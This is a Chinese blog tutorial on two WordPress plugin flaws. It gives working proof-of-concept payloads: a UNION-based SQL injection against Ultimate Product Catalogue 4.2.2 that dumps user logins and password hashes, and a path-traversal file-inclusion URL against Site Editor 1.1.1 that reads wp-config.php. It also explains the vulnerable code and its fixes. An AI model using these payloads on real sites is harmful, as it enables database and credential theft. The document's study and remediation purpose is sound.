赞
踩
目录
3. Ultimate Produce Catalogue插件SQL注入漏洞
wordpress本身的安全性是比较完善的,通常安全审计中大部分的漏洞都是来自wordpress安装的第三方插件,wordpress并不保证这些插件的安全性,因为第三方插件都是由其他的开发者编写的,插件的安全性取决于开发者的水平和安全意识,毕竟每个开发者的安全意识是不一样的。
因此在进行wordpress漏洞挖掘的时候,从插件入手分析是一个不错的选择。
在分析wordpress插件漏洞的环境以及用到的插件:
Ultimate Produce Catalogue4.2.2插件的sql注入
site-editor1.1.1插件的本地文件包含
本次实验环境使用的是WordPress 4.9版本
Ultimate Produce Catalogue插件SQL注入漏洞实验环境的POC
/wp-admin/admin-ajax.php?action=get_upcp_subcategories
CatID=0 UNION SELECT 1,user()
CatID=0 UNION SELECT user_login,user_pass from wp_users where id=1
搭建好漏洞环境后,登录wordpress后台后,在左侧点击插件---> 安装插件:
安装插件的时候选择zip格式的文件,安装完成后启用插件
安装完插件后需要登录用户账号,然后访问http://www.test2.com/wp-admin/admin-ajax.php?action=get_upcp_subcategories,并提交数据:
Post data中是一段sql注入代码,查询当前数据库的用户,点击Execute提交数据后,后台返回了数据库的用户名信息。
接着我们就可以构造sql注入语句爆出用户名和密码,但是密码是经过加密的:
接下来我们分析插件产生漏洞的原因。
先找到wordpress的插件的目录,找到安装的插件ultimate-product-catalogue,再定位到get_upcp_subcategories函数(路径为plugins\ultimate-product-catalogue\Functions\Process_Ajax.php)
get_upcp_subcategories函数具体实现:
- function Get_UPCP_SubCategories() {
- global $subcategories_table_name;
- $Path = ABSPATH . 'wp-load.php';
- include_once($Path);
- global $wpdb;
-
- $SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM $subcategories_table_name WHERE Category_ID=" . $_POST['CatID']);
- foreach ($SubCategories as $SubCategory) {
- $Response_Array[] = $SubCategory->SubCategory_ID;
- $Response_Array[] = $SubCategory->SubCategory_Name;
- }
- if (is_array($Response_Array)) {
- $Response = implode(",", $Response_Array);
- }
- else {$Response = "";}
- echo $Response;
- }
get_upcp_subcategories函数内部只接收了一个CatID数据,而CatID中的数据就是我们提交的sql注入语句,代码中没有对CatID中的内容进行任何安全过滤,直接将CatID拼接到sql语句中执行,将查询到的数据库用户名保存到$SubCategories变量中。
漏洞修复:对传入的数据进行预处理再拼接成sql语句
$wpdb->get_results($wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id))
poc:
/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../test.txt
Site Editor插件的安装方式和前面的一样。如果提示文件过大,把Site Editor插件解压到\wp-content\plugins目录下,然后在wordpress的后台的插件一栏中启用Site Editor。
利用site editor插件的本地文件包含漏洞通过../来读取test.txt文本的内容,最终构造的url格式:
把test.txt文件名进行替换就可以读取其它文件,例如读取wp-config.php:
http://www.test2.com/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php
接下来我们分析Site Editor插件的本地文件包含漏洞产生的原因。找到\plugins\site-editor\editor\extensions\pagebuilder\includes\ajax_shortcode_pattern.php文件
- //判断是否是文件,文件是否存在
- if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
- //如果存在直接包含文件
- require_once $_REQUEST['ajax_path'];
- }else{
- echo json_encode( array(
- 'success' => false,
- 'message' => "Error: didn't load shortcodes pattern file",
- )
- );
- return ;
- }
我们可以看到上面的代码只是对ajax_path参数中的内容进行了简单的判断,并没有做任何安全校验,这才导致了本地文件包含漏洞。
漏洞修复:使用白名单对提交的参数过滤。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。